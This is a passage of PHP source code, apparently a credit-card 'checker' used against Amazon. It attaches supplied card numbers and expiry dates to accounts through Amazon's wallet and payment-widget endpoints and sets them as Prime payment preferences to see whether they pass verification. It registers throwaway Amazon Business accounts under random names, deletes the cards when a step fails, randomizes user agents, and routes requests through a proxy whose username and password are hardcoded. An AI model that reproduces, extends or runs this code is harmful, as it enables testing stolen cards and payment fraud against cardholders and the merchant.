//curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-widgetEvent%3AAddCreditCardEvent=&ppw-jsEnabled=true&ppw-widgetState='.$ms.'&ie=UTF-8&ppw-accountHolderName=luciano+franco&addCreditCardNumber='.$cc.'&ppw-expirationDate_month='.$mes.'&ppw-expirationDate_year='.$ano.'');
      $add = curl_exec($ch);
 

 $add = html_entity_decode(html_entity_decode($add, ENT_QUOTES | ENT_HTML5, 'UTF-8'), ENT_QUOTES | ENT_HTML5, 'UTF-8');

    $amzn1 = getstr($add, 'paymentMethodAccountOwner&quot;:&quot;&quot;,&quot;paymentMethodId&quot;:&quot;','&');
     $amzn2 = getstr($add, 'paymentMethodId":"','"');
    $session = getstr($add, 'session-id" value="','"');
    $token = getstr($add, 'token":"','"');
   $contai = getstr($add, 'data-csa-c-container-request-id="','"');



     $offtoken10 = getStr($add, 'offerToken" value="','"');
      $sessionid10 = getStr($add, 'name="session-id" value="','"');
      $token00310 = getStr($add, 'name="ppw-widgetState" value="', '"');
            $urll10 = getStr_i($add, 'customerId":"','"');




   $payid = getstr($add, 'paymentMethodId":"','"');
   

// paymentMethodAccountOwner&quot;:&quot;&quot;,&quot;paymentMethodId&quot;:&quot;
// paymentMethodId&quot;:&quot;
//MGhfUFVfQ1VTX2YwYWZlOTIzLWMwMzYtNDNlMi1hNzFlLTI2ZDBkM2Q2OWViYQ
//MGhfUFVfQ1VTXzUyNzk5NDNkLWNjMDctNDgwNS1hOGE0LTVhOTc2NzgwOTY2Zg
//5360 amzn1.pm.wallet.MGhfUFVfQ1VTX2YwYWZlOTIzLWMwMzYtNDNlMi1hNzFlLTI2ZDBkM2Q2OWViYQ.QTIwNkRQREFYNU1SUU8
//6582 amzn1.pm.wallet.MGhfUFVfQ1VTXzUyNzk5NDNkLWNjMDctNDgwNS1hOGE0LTVhOTc2NzgwOTY2Zg.QTIwNkRQREFYNU1SUU8

  $SavePaymentPreferenceEvent;
   $sessionds = getstr($add, 'Subs:Prime","session":"','"');
   $noovotoken = getstr($add, 'instrumentIds&quot;:[&quot;','&');
   $redirecturl = getstr($add, 'input type="hidden" name="redirectURL" value="','"/');
    $ohtoken1 = getstr($add, 'selectedInstrumentIds":["','"');
        $ohtoken2 = getstr($add, 'clientId":"Subs:Prime","serializedState":"','"');
	
	 		        $_SESSION['session'] = $session;
				     $_SESSION['contai'] = $contai;
      			     $_SESSION['offtoken10'] = $offtoken10;
					 $_SESSION['urll10'] = $urll10;
					 $_SESSION['token00310'] = $token00310;

$required_keys = ['session', 'contai', 'urll10', 'token00310','offtoken10'];


foreach ($required_keys as $key) {
    if (empty($_SESSION[$key])) {
       
	   $ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/ab/manage/deregisterYourBusiness/deregister?ref_=b2b_bam_drb_l_a');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

 $result = curl_exec($ch);
      $result = htmlspecialchars_decode($result);
       $B2B = getStr($result, "B2B_MANAGE_TOKEN' value='", "'");


	   	   $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/ab/manage/deregisterYourBusiness/api/deregister?ref_=b2b_bam_drb_ver_y');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'anti-csrftoken-a2z: ' . $B2B;
$headers[] = 'Content-Type: application/json';
$headers[] = 'Accept: */*';
$headers[] = 'Origin: https://www.amazon.com';
$headers[] = 'Cookie: ' . $cookie6;

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"reason":"OTHER"}');
 $result = curl_exec($ch);

    unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
);
$deletou = $delet();

 	 exit();
		
		
    }
}
		 

 
 $username = "smart-puvwnqjfhqrr_area-BR";
$password = "lmGwHXZJRGEymTXU";	
$proxy_address = "proxy.smartproxy.net";
$proxy_port = "3120";



$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/guest/onboard?ref_=ab_reg_notag_bs_gon_ab_reg_dsk');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');


curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);

 $result = curl_exec($ch);



$ch = curl_init();
curl_setopt($ch, CURLOPT_PROXY, $proxy_address);   
curl_setopt($ch, CURLOPT_PROXYPORT, $proxy_port);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $username . ":" . $password);
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/guest/onboard?ref_=ab_reg_notag_bs_gon_ab_reg_dsk');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');


curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);

 $result = curl_exec($ch);




$ch = curl_init();
curl_setopt($ch, CURLOPT_PROXY, $proxy_address);   
curl_setopt($ch, CURLOPT_PROXYPORT, $proxy_port);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $username . ":" . $password);
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/org/landing');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'authority: www.amazon.com',
    'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);
$texta = curl_exec($ch);

 $token1 = GetStr($texta, "abreg_originatingEmailEncrypted=", "\\");
 $custumerid = GetStr($texta, "abreg_originatingCustomerId=", "\\");
$token22 = GetStr($texta, 'data-csrf-token="' ,'"');
 $tokensignature = GetStr($texta, "abreg_signature=", "\\x26");
 
 
 $namme = substr(str_shuffle("ABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, 7);

 
 
 $ch = curl_init();        
 curl_setopt($ch, CURLOPT_PROXY, $proxy_address);   
curl_setopt($ch, CURLOPT_PROXYPORT, $proxy_port);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $username . ":" . $password);
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/api/org/registrations?sif_profile=ab-reg');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Host: www.amazon.com',
    "anti-csrftoken-a2z: $token22",
    'content-type: application/x-www-form-urlencoded',
    'accept: application/json, text/plain, */*',
    'origin: https://www.amazon.com',
    "referer: https://www.amazon.com/business/register/org/business-info?abreg_signature=$tokensignature&abreg_entryRefTag=ya_d_atf_us_b2b_reg_v3&abreg_usingPostAuthPortalTheme=true&abreg_vertical=COM&abreg_originatingEmailEncrypted=$token1&abreg_client=biss&abreg_originatingCustomerId=$custumerid&ref_=ab_reg_notag_rn-biss_cb_ab_reg_dsk",
    'accept-language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);
curl_setopt($ch, CURLOPT_POSTFIELDS, "address1=350%205th%20Ave&address2=29th%20Floor&zip=10118&city=New%20York&state=NY&country=US&voice=%2B12126598653&contactName=$namme%20$namme&businessName=$namme&businessType=OTHER&verificationOverrideStatus=&notifyBySms=false&internal=false&warningBypassed=false&existingAddress=false&publicAdministrationSelfDeclaration=false&businessTin=");
$response = curl_exec($ch);


$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/org/landing');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'authority: www.amazon.com',
    'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);
$texta = curl_exec($ch);

 $token1 = GetStr($texta, "abreg_originatingEmailEncrypted=", "\\");
 $custumerid = GetStr($texta, "abreg_originatingCustomerId=", "\\");
$token22 = GetStr($texta, 'data-csrf-token="' ,'"');
 $tokensignature = GetStr($texta, "abreg_signature=", "\\x26");
 
 
 
 
 $ch = curl_init();        
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/api/org/registrations?sif_profile=ab-reg');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Host: www.amazon.com',
    "anti-csrftoken-a2z: $token22",
    'content-type: application/x-www-form-urlencoded',
    'accept: application/json, text/plain, */*',
    'origin: https://www.amazon.com',
    "referer: https://www.amazon.com/business/register/org/business-info?abreg_signature=$tokensignature&abreg_entryRefTag=ya_d_atf_us_b2b_reg_v3&abreg_usingPostAuthPortalTheme=true&abreg_vertical=COM&abreg_originatingEmailEncrypted=$token1&abreg_client=biss&abreg_originatingCustomerId=$custumerid&ref_=ab_reg_notag_rn-biss_cb_ab_reg_dsk",
    'accept-language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);
curl_setopt($ch, CURLOPT_POSTFIELDS, "address1=350%205th%20Ave&address2=29th%20Floor&zip=10118&city=New%20York&state=NY&country=US&voice=%2B12126598653&contactName=$namme%20$namme&businessName=$namme&businessType=OTHER&verificationOverrideStatus=&notifyBySms=false&internal=false&warningBypassed=false&existingAddress=false&publicAdministrationSelfDeclaration=false&businessTin=");
$response = curl_exec($ch);




$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/nav/ajax/business-desktop-asinFlyout?content=ab-spendsegment-itstore&metricKey=ab-spendsegment-itstoreMetric&ajaxTemplate=business-desktop-asinFlyout&flyoutName=ab-spendsegment-itstore&flyoutId=nav-link-spendsegment-itstore&navDeviceType=desktop&_=1720963395082');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/ref=ab_reg_notag_gon_gateway_ab_reg_dsk?isMashRequest=false&isAndroidMashRequest=false&isIosMashRequest=false');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);


$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/cpe/yourpayments/wallet?ref_=b2b_mpo_view_wallet');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

  $response = curl_exec($ch);


		 }
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////




    setHeaders(array(
'Cookie: '.$cookie1.'',
'Host: www.amazon.com',
  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
));

       $add = getRequest('https://www.amazon.com/mn/dcw/myx/settings.html?route=updatePaymentSettings&ref_=kinw_drop_coun&ie=UTF8&client=deeca');
          $csrf = getstr($add, 'csrfToken = "','"');
#req1


    setHeaders(array(
'Cookie: '.$cookie1.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
));


$post = 'data=%7B%22param%22%3A%7B%22AddPaymentInstr%22%3A%7B%22cc_CardHolderName%22%3A%22'.generateRandomString(10).'+'.generateRandomString(10).'%22%2C%22cc_ExpirationMonth%22%3A%22'.intval($mes).'%22%2C%22cc_ExpirationYear%22%3A%22'.$ano.'%22%7D%7D%7D&csrfToken='.urlencode($csrf).'&addCreditCardNumber='.$cc.'';

        $add = postRequest('https://www.amazon.com/hz/mycd/ajax', $post);
      $cardid_puro = getstr($add, '"paymentInstrumentId":"','"');
#req2


if (empty($cardid_puro)) {
	
	
	    setHeaders(array(
'Cookie: '.$cookie6.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1"
));


         $result = getRequest('https://www.amazon.com/cpe/yourpayments/wallet');
   $serial1 = getstr($result, '"4-','"');
 $paymentidons = getstr($result, '"paymentMethodId":"','"');
  $costomerid = getstr($result, '"customerId":"','"');

   $quotquot = getstr($result, 'instrumentId":"','"');
   $widgetInstanceId = getstr($result, 'widgetInstanceId":"','"');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3AStartDeleteEvent%3A%7B%22iid%22%3A%22".$quotquot."%22%2C%22renderPopover%22%3A%22true%22%7D=&ppw-jsEnabled=true&ppw-widgetState=4-".$serial1."&ie=UTF-8");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$diferentenonce = getstr($result, 'hidden\" name=\"ppw-widgetState\" value=\"','\"');
$ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3ADeleteInstrumentEvent=&ppw-jsEnabled=true&ppw-widgetState=".$diferentenonce."&ie=UTF-8");
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';


    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

     $r = curl_exec($ch);
	
	unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
);
$deletou = $delet();
 	 exit();
}

    setHeaders(array(
'Cookie: '.$cookie1.'',
'Host: www.amazon.com',
'Content-Type: application/x-www-form-urlencoded',

  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
));


$post = 'data=%7B%22param%22%3A%7B%22LogPageInfo%22%3A%7B%22pageInfo%22%3A%7B%22subPageType%22%3A%22kinw_total_myk_stb_Perr_paymnt_dlg_cl%22%7D%7D%2C%22GetAllAddresses%22%3A%7B%7D%7D%7D&csrfToken='.urlencode($csrf).'';

       $add = postRequest('https://www.amazon.com/hz/mycd/ajax', $post);
  $addresid = getStr($add, 'AddressId":"','"');
//     if(empty($addresid)) {
//     $status = "reprovado";



// echo json_encode(['status' => $status.' => '.$err.' => CONTA SEM ENDEREÇO!']);    


  


//   }
#req3
    setHeaders(array(
'Cookie: '.$cookie1.'',
'Host: www.amazon.com',
  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
  'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',

));


$post = 'data=%7B%22param%22%3A%7B%22SetOneClickPayment%22%3A%7B%22paymentInstrumentId%22%3A%22'.$cardid_puro.'%22%2C%22billingAddressId%22%3A%22'.$addresid.'%22%2C%22isBankAccount%22%3Afalse%7D%7D%7D&csrfToken='.urlencode($csrf).'';

 $add = postRequest('https://www.amazon.com/hz/mycd/ajax', $post);



 

   $ch = curl_init();
      curl_setopt($ch, CURLOPT_ENCODING, "gzip");
  curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$urll10.'/continueWidget');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: www.amazon.com',
'Widget-Ajax-Attempt-Count: 0',
'Accept: application/json, text/javascript, */*; q=0.01',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'APX-Widget-Info: YA:Wallet/mobile/2c8igJRLpuS0',
'Origin: https://www.amazon.com',
'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1',
'Referer: https://www.amazon.com/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-widgetEvent%3AShowPreferencePaymentOptionListEvent%3A%7B%22instrumentId%22%3A%5B%22'.$cardid_puro.'%22%5D%2C%22instrumentIds%22%3A%5B%22'.$cardid_puro.'%22%5D%7D=change&ppw-jsEnabled=true&ppw-widgetState='.$token00310.'&ie=UTF-8');
    $data0003 = curl_exec($ch);





  $nulla10 = getStr($data0003, 'ppw-widgetState\" value=\"','\"');










   $ch = curl_init();
      curl_setopt($ch, CURLOPT_ENCODING, "gzip");
  curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$urll10.'/continueWidget');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: www.amazon.com',
'Widget-Ajax-Attempt-Count: 0',
'Accept: application/json, text/javascript, */*; q=0.01',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'APX-Widget-Info: YA:Wallet/mobile/2c8igJRLpuS0',
'Origin: https://www.amazon.com',
'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1',
'Referer: https://www.amazon.com/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-widgetEvent%3APreferencePaymentOptionSelectionEvent=&ppw-jsEnabled=true&ppw-widgetState='.$nulla10.'&ie=UTF-8&ppw-instrumentRowSelection=instrumentId%3D'.$cardid_puro.'%26isExpired%3Dfalse%26paymentMethod%3DCC%26tfxEligible%3Dfalse&ppw-'.$cardid_puro.'_instrumentOrderTotalBalance=%7B%7D&ppw-giftCardSelection=instrumentId%3D'.$cardid_puro.'%26paymentMethod%3DGC%26eligibleBackingMethods%3D%26requireBackingInstrument%3Dfalse');
    $data007 = curl_exec($ch);




  $nulla10 = getStr($data007, 'ppw-widgetState\" value=\"','\"');



   $ch = curl_init();
      curl_setopt($ch, CURLOPT_ENCODING, "gzip");
  curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$urll10.'/continueWidget');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: www.amazon.com',
'Widget-Ajax-Attempt-Count: 0',
'Accept: application/json, text/javascript, */*; q=0.01',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'APX-Widget-Info: YA:Wallet/mobile/2c8igJRLpuS0',
'Origin: https://www.amazon.com',
'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1',
'Referer: https://www.amazon.com/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-jsEnabled=true&ppw-widgetState='.$nulla10.'&ppw-widgetEvent=SavePaymentPreferenceEvent');
    $data03 = curl_exec($ch);



               $pay1 = getStr($data03, 'preferencePaymentMethodIds":"[\"','\"');

                    $pay2 = getStr($data03, '\",\"','\"]');


         $pref = getStr($data03, 'preferenceId":"','"');







// MethodIdList
       #req7
	   
	   
	   //curl_setopt($ch, CURLOPT_URL, 'curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/hp/wlp/pipeline/actions?paymentClass=FreeTrial&redirectURL=L2dwL3ByaW1l&containerRequestId='.$contai.'&deviceEnvironment=BROWSER&paymentsPortalExternalReferenceID=prime&paymentMethodId='.$pay1.'&preferenceId='.$pref.'&countryCode=US&actionPageDefinitionId=WLPAction_AcceptOffer_HardVet&cancelRedirectURL=Lw&originalContainerRequestId='.$requestid.'&deviceType=desktop&planDurationUnit=Yearly&authenticationSourceClientReference='.$contai.'&paymentsPortalPreferenceType=PRIME&wlpLocation=prime_confirm&locationID=prime_confirm&paymentMethodIdList='.$pay1.'%2C'.$pay2.'&location=prime_confirm&session-id='.$session.'');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://'.$linkSelecionado.'.mx/mcp/ajaxpipeline/ev/challenge?deviceType=desktop&paymentClass=paid&currentStage=DynamicMARSChallenge&clientId=prime&planDurationUnit=annual&authenticationSourceClientReference='.$contai.'&successUrl=%2Fhp%2Fwlp%2Fpipeline%2Factions&paymentsPortalPreferenceType=PRIME&containerRequestId='.$contai.'&failureUrl=%2Fgp%2Fprime%2Fpipeline%2Fmembersignup&nextStage=RedirectToSuccessUrl&deviceEnvironment=BROWSER&paymentsPortalExternalReferenceID=prime&wlpLocation=prime_default&paymentMethodId='.$pay1.'&locationId=wlp&preferenceId='.$pref.'&countryCode=BR&actionPageDefinitionId=WLPAction_AcceptOffer_HardVet&paymentMethodIdList='.$pay1.'&location=prime_default&marsChallengeName=ENHANCED_VET&session-id='.$session.'');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: '.$linkSelecionado.'.mx',
'Connection: keep-alive',
'sec-ch-ua-platform: "Windows"',
'viewport-width: 1536',
'device-memory: 8',
'sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"',
'sec-ch-dpr: 1.25',
'anti-csrftoken-a2z: '.$a2z.'',
'sec-ch-ua-mobile: ?0',
'X-Requested-With: XMLHttpRequest',
'Accept: text/plain, */*; q=0.01',
'Content-Type: application/x-www-form-urlencoded',
'sec-ch-viewport-width: 1536',
